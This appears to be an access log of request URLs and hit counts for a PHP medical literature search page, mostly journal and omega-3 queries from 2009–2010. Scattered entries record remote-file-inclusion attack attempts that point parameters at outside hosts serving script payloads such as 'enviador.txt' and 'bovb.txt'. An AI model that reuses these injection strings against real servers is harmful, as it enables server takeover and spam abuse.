13: : 21-Lug-10 05:14: /medasq.php?abstract=0&quanti=1000&highlight=2
13: : 14-Ago-10 03:59: /medasq.php?z=Vnitr+Lek&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 25-Ago-10 20:50: /medasq.php?z=Sci+China+Life+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 17-Ago-10 23:38: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hypertension [mesh] | hypertens* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
12: : 15-Ago-10 19:05: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (autoimmune diseases [mesh] | autoimmun* [all] | dysimmun* [all] | disimmun* [all] | les | lupus [all] | rheumat* [all] | addison's [all] | graves' [all] | pemphig* [all])&abstract=1&quan
12: : 23-Lug-10 09:34: /medasq.php?z=J+Chromatogr+B+Analyt+Technol+Biomed+Life+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 25-Ago-10 20:58: /medasq.php?z=(j androl [ta] OR int j androl [ta] OR andrologia [ta] OR arch androl [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
12: : 18-Ago-10 21:29: /medasq.php?z=Biochem+Mol+Biol+Int&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 6-Set-10 04:19: /medasq.php?z=J Biochem&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
12: : 28-Lug-10 17:27: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=260&daevidenziare=&azione=Journals&free=
12: : 1-Ago-10 11:37: /medasq.php?z=sodium oxybate [mesh] & alcohol-related disorders [mesh]&abstract=0&quanti=50&highlight=2&daevidenziare=oxybate alcohol&dovesiamo=0&azione=Show
12: : 30-Lug-10 08:39: /medasq.php?z=Gastroenterology&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
12: : 18-Ago-10 04:27: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (mental disorders [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
12: : 1-Set-10 12:00: /medasq.php?z=Anticancer+Agents+Med+Chem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 25-Ago-10 20:50: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (cardiovascular diseases [mesh] | cardiovascular disease* [all] | cardiovascular disorder* [all] | heart disease* [all] | heart disorder* [all] | vascular disease* [all] | vascular disorder* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
12: : 10-Mag-10 19:42: /medasq.php?z=Child+Adolesc+Psychiatr+Clin+N+Am&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 14-Ago-10 05:45: /medasq.php?z=Eur+J+Epidemiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 23-Ago-10 12:50: /medasq.php?z=Minn+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 14-Ago-10 10:48: /medasq.php?z=Resuscitation&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 18-Ago-10 11:34: /medasq.php?z=Ophthalmology&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Journals&free=
12: : 3-Set-10 20:35: /medasq.php?z=Hepatology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 18-Ago-10 14:00: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (eye diseases [mesh] | eye disease* [all] | eye disorder* [all] | visual disease* [all] | visual disorder* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
12: : 18-Ago-10 22:46: /medasq.php?z=Ophthalmology&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Journals&free=
12: : 7-Set-10 08:15: /medasq.php?z=Zhonghua+Nei+Ke+Za+Zhi&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 17-Ago-10 23:02: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 cardiovascular diseases [majr&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
12: : 18-Lug-10 17:02: /medasq.php?z=Rapid+Commun+Mass+Spectrom&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 8-Ott-09 17:30: /medasq.php?z=J+Fam+Pract&abstract=1&qua…////?_SERVER[DOCUMENT_ROOT]=http://www.diakonia-jkt.sch.id/upload/id1???
12: : 16-Apr-10 10:48: /medasq.php?z=Microbiol Immunol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
12: : 13-Ago-10 00:46: /medasq.php?z=Surgery&abstract=1&quanti=20&highlight=0&dovesiamo=260&daevidenziare=&azione=Journals&free=
12: : 15-Ago-10 19:05: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (mental disorders [mesh] | schizophren* [all] | depression [all] | bipolar* [all] | mania* [all] | manic [all] | psychos* [all] | psychot* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&az
12: : 4-Set-10 01:42: /medasq.php?z=J+Ocul+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 14-Ago-10 22:20: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (cardiovascular diseases [mesh] | cardiovascular disease* [all] | cardiovascular disorder* [all] | heart disease* [all] | heart disorder* [all] | vascular disease* [all] | vascular disorder* [all])&abstract=
12: : 17-Ago-10 00:28: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (neoplasms [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
12: : 19-Mar-10 19:15: /medasq.php?z=http://www.aumeco.de/www2/Bots/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=premmy30@gmail.com
12: : 23-Ago-10 17:25: /medasq.php?z=FEBS+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 21-Lug-10 06:11: /medasq.php?abstract=1&quanti=100&highlight=1
12: : 19-Ago-10 11:03: /medasq.php?z=Przegl+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 21-Lug-10 15:40: /medasq.php?abstract=0&quanti=500&highlight=2
12: : 19-Ago-10 00:59: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (eye diseases [mesh] | eye disease* [all] | eye disorder* [all] | visual disease* [all] | visual disorder* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
12: : 25-Ago-10 20:51: /medasq.php?z=Prim+Care&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 19-Ago-10 09:32: /medasq.php?z=Int+J+Geriatr+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 19-Ago-10 12:25: /medasq.php?z=Rev+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 27-Ago-10 23:59: /medasq.php?z=Science&abstract=1&quanti=20&highlight=0&dovesiamo=320&daevidenziare=&azione=Journals&free=
12: : 29-Ago-10 17:25: /medasq.php?z=J+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 26-Ago-10 13:47: /medasq.php?z=Am+J+Vet+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 22-Ago-10 21:56: /medasq.php?z=Acta+Physiol+Scand&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 1-Set-10 01:22: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (neoplasms [mesh] | neoplas* [all] | tumor* [all] | tumour* [all] | cancer* [all] | carcin* [all] | sarcom* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
12: : 25-Ago-10 20:57: /medasq.php?z=(j androl [ta] OR int j androl [ta] OR andrologia [ta] OR arch androl [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
12: : 18-Ago-10 21:14: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (skin diseases [mesh] | dermatos* [all] | dermatit* [all] | psoria* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
12: : 25-Giu-10 17:22: /medasq.php?z=Int+J+Gynaecol+Obstet&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 27-Ago-10 17:39: /medasq.php?z=Fortschr+Neurol+Psychiatr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 7-Ago-09 16:03: /medasq.php?z=http://mikesplace.hostinginfive.com/frame.htm?
12: : 14-Ago-10 14:37: /medasq.php?z=Pharmacology&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
12: : 23-Giu-10 23:41: /medasq.php?abstract=0&azione=Show&daevidenziare=neuroadaptation&dovesiamo=0&highlight=2&quanti=20&z=cocaine+neuroadaptation
12: : 26-Lug-10 09:23: /medasq.php?z=Ups+J+Med+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
12: : 7-Set-10 13:30: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (arthritis [mesh] | arthrit* [all] | osteoarthrit* [all] | arthros* [all] | osteoarthros* [all] )&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
12: : 5-Set-10 06:25: /medasq.php?z=(am j epidemiol [ta] OR am j public health [ta] OR j clin epidemiol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=620&daevidenziare=&azione=Show&free=
11: : 26-Lug-10 16:09: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (nervous system diseases [mesh] | nervous system diseases [all])&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Show&free=
11: : 24-Lug-10 21:13: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=200&daevidenziare=&azione=Journals&free=
11: : 28-Ago-10 09:06: /medasq.php?z=J+Am+Med+Womens+Assoc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 24-Lug-10 21:37: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=220&daevidenziare=&azione=Journals&free=
11: : 13-Ago-10 12:35: /medasq.php?z=Medicine+(Baltimore)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 12-Apr-10 02:09: /medasq.php?z=Haemostasis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 27-Lug-10 04:37: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=240&daevidenziare=&azione=Journals&free=
11: : 21-Ago-10 05:25: /medasq.php?z=Pediatrics&abstract=1&quanti=20&highlight=0&dovesiamo=240&daevidenziare=&azione=Journals&free=
11: : 19-Ago-10 09:35: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Show&free=
11: : 23-Ago-10 00:09: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=720&daevidenziare=&azione=Show&free=
11: : 6-Ago-10 02:43: /medasq.php?z=J%2520Physiol&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
11: : 21-Ago-10 04:42: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=960&daevidenziare=&azione=Show&free=
11: : 6-Mag-10 01:12: /medasq.php?z=(arch otolaryngol head neck surg [ta] OR ann otol rhinol laryngol [ta] OR acta otolaryngol stockh [ta] OR clin otolaryngol [ta] OR orl j otorhinolaryngol relat spec [ta] OR j laryngol otol [ta] ) AND (\"clinical trials\"[MeSH Terms] OR \"clinical trial\"[Text Word] OR \"meta analysis\"[MeSH Terms] OR \"meta analysis\"[Text Word] OR \"guideline\"[All Fields] OR \"consensus development conference\"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
11: : 16-Ago-10 05:24: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (autoimmune diseases [mesh] | autoimmun* [all] | dysimmun* [all] | disimmun* [all] | les | lupus [all] | rheumat* [all] | addison's [all] | graves' [all] | pemphig* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Show&free=
11: : 25-Lug-10 14:32: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=160&daevidenziare=&azione=Show&free=
11: : 25-Ago-10 20:56: /medasq.php?z=(fatty acids%252C omega 3 %255Bmesh%255D %257C omega-3 %255Ball%255D %257C eicosapentaen* %255Ball%255D %257C docosahexaen* %255Ball%255D) %2526 (nervous system diseases %255Bmesh%255D %257C nervous system diseases %255Ball%255D)&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
11: : 17-Ago-10 00:51: /medasq.php?z=Med Biol&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
11: : 19-Ago-10 09:26: /medasq.php?z=Diabetes+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 9-Lug-10 05:04: /medasq.php?z=(arch otolaryngol head neck surg [ta] OR ann otol rhinol laryngol [ta] OR acta otolaryngol stockh [ta] OR clin otolaryngol [ta] OR orl j otorhinolaryngol relat spec [ta] OR j laryngol otol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
11: : 7-Set-10 12:26: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (arthritis [mesh] | arthrit* [all] | osteoarthrit* [all] | arthros* [all] | osteoarthros* [all] )&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Show&free=
11: : 18-Ago-10 21:20: /medasq.php?z=
11: : 26-Lug-10 18:28: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (nervous system diseases [mesh] | nervous system diseases [all])&abstract=1&quanti=20&highlight=0&dovesiamo=160&daevidenziare=&azione=Show&free=
11: : 25-Ago-10 20:53: /medasq.php?z=(am j epidemiol [ta] OR am j public health [ta] OR j clin epidemiol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
11: : 1-Set-10 14:00: /medasq.php?z=ChemMedChem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 6-Set-10 08:40: /medasq.php?z=Z+Arztl+Fortbild+(Jena)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 6-Ago-10 06:22: /medasq.php?z=Vet%2520J&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
11: : 7-Set-10 11:22: /medasq.php?z=Can+J+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 25-Ago-10 20:56: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
11: : 7-Set-10 16:14: /medasq.php?z=S%252bAfr%252bMed%252bJ&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 20-Gen-10 12:35: /medasq.php?z=http://www.tionogueira.kit.net/Bots/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=dankomanda@gmail.com
11: : 23-Ago-10 16:46: /medasq.php?z=Toxicology&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
11: : 13-Ago-10 12:03: /medasq.php?z=Nord+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 25-Ago-10 20:58: /medasq.php?z=(am j epidemiol [ta] OR am j public health [ta] OR j clin epidemiol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
11: : 18-Gen-10 14:10: /medasq.php?z=Int+J+Environ+Res+Public+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 25-Lug-09 18:16: /medasq.php?z=http://212.81.134.34:2666/index.html?
11: : 28-Ago-10 19:07: /medasq.php?z=Cancer+Chemother+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 28-Ago-10 06:06: /medasq.php?z=Bull+Exp+Biol+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 18-Ago-10 21:20: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (nervous system diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
11: : 14-Ago-10 06:05: /medasq.php?z=Heart+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 16-Ago-10 04:15: /medasq.php?z=doping+sport&abstract=1&quanti=20&highlight=1&daevidenziare=&dovesiamo=0&azione=Show
11: : 23-Ago-10 19:10: /medasq.php?z=id: 19781113 Error occurred: Error 11 (Resource temporarily unavailable)2: Prostaglandins Leukot Essent Fatty Acids&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 28-Ago-10 18:18: /medasq.php?z=Eur+J+Obstet+Gynecol+Reprod+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 22-Ago-10 15:52: /medasq.php?z=Vestn+Ross+Akad+Med+Nauk&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 14-Ago-10 14:50: /medasq.php?z=Reproduction&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
11: : 20-Ago-10 03:56: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
11: : 20-Ago-10 04:21: /medasq.php?z=http://info-sec.vec.go.th/Mail.txt??
11: : 6-Set-10 18:24: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=500&daevidenziare=&azione=Show&free=
11: : 6-Set-10 19:44: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=2080&daevidenziare=&azione=Show&free=
11: : 22-Ago-10 20:55: /medasq.php?z=Ann+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 21-Ago-10 11:15: /medasq.php?z=Prostaglandins+Other+Lipid+Mediat&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 1-Set-10 13:56: /medasq.php?z=Cell+Div&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 15-Ago-10 02:38: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (autoimmune diseases [mesh] | autoimmun* [all] | dysimmun* [all] | disimmun* [all] | les | lupus [all] | rheumat* [all] | addison's [all] | graves' [all] | pemphig* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=180&daevidenziare=&azione=Show&free=
11: : 6-Set-10 21:43: /medasq.php?z=Res+Exp+Med+(Berl)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 19-Ago-10 11:05: /medasq.php?z=Hum+Cell&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 27-Lug-10 18:49: /medasq.php?z=J+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 9-Mag-09 19:12: /medasq.php?z=http://www.bcefc.ca/help/Bots/Bots/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=brancohat@gmail.com
11: : 19-Ago-10 09:25: /medasq.php?z=J+Anim+Physiol+Anim+Nutr+(Berl)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 7-Set-10 07:06: /medasq.php?z=Pharmacology&abstract=1&quanti=20&highlight=0&dovesiamo=180&daevidenziare=&azione=Journals&free=
11: : 17-Ago-10 21:13: /medasq.php?z=Epidemiology&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
11: : 31-Lug-10 06:52: /medasq.php?z=Surgery&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
11: : 24-Ago-10 02:10: /medasq.php?z=Int+J+Artif+Organs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 21-Ago-10 11:27: /medasq.php?z=Prilozi&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 29-Ago-10 15:28: /medasq.php?z=Oncology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 12-Ago-10 23:56: /medasq.php?z=Biochemistry&abstract=1&quanti=20&highlight=0&dovesiamo=200&daevidenziare=&azione=Journals&free=
11: : 10-Lug-10 16:07: /medasq.php?z=Med+Wieku+Rozwoj&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 16-Ago-10 06:01: /medasq.php?z=CMAJ&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 25-Ago-10 00:36: /medasq.php?z=Can J Psychiatry&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
11: : 15-Ago-10 19:36: /medasq.php?z=Urology&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
11: : 28-Ago-10 15:37: /medasq.php?z=J+Indian+Med+Assoc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 28-Ago-10 01:21: /medasq.php?z=(mol pharmacol [ta] OR br j pharmacol [ta] OR j pharmacol exp ther [ta] OR eur j pharmacol [ta] OR life sci [ta] OR biochem pharmacol [ta] OR pharmacol biochem behav [ta] )&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
11: : 18-Ago-10 22:47: /medasq.php?z=Endocrinology&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Journals&free=
11: : 23-Lug-10 09:54: /medasq.php?z=Nutr+Metab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 31-Ago-10 02:34: /medasq.php?z=Cardiol+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
11: : 16-Ago-10 08:29: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (diabetes mellitus [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
10: : 28-Ago-10 01:18: /medasq.php?z=Obstet+Gynecol+Surv&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 18-Ago-10 16:14: /medasq.php?z=Medicina+(B+Aires)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 23-Ago-10 22:40: /medasq.php?z=Integr+Cancer+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 30-Ago-10 20:53: /medasq.php?z=Prof+Care+Mother+Child&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 1-Set-10 00:08: /medasq.php?z=J+Health+Care+Poor+Underserved&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 1-Apr-10 12:52: /medasq.php?z=Anestezjol+Intens+Ter&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 19-Ago-10 01:35: /medasq.php?z=Hum+Mol+Genet&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 28-Lug-10 02:19: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=280&daevidenziare=&azione=Journals&free=
10: : 19-Ago-10 12:23: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (diabetes mellitus [mesh] | diab* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Show&free=
10: : 29-Ago-10 13:52: /medasq.php?z=Arq+Bras+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 17-Apr-10 16:32: /medasq.php?z=http://www.palmshop.cz//images/bovb.txt?
10: : 7-Set-10 21:49: /medasq.php?z=Salud+Publica+Mex&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 17-Apr-10 16:38: /medasq.php?z=Spine+J&abstract=1&quanti=20&highlight=http://www.palmshop.cz//images/bovb.txt?
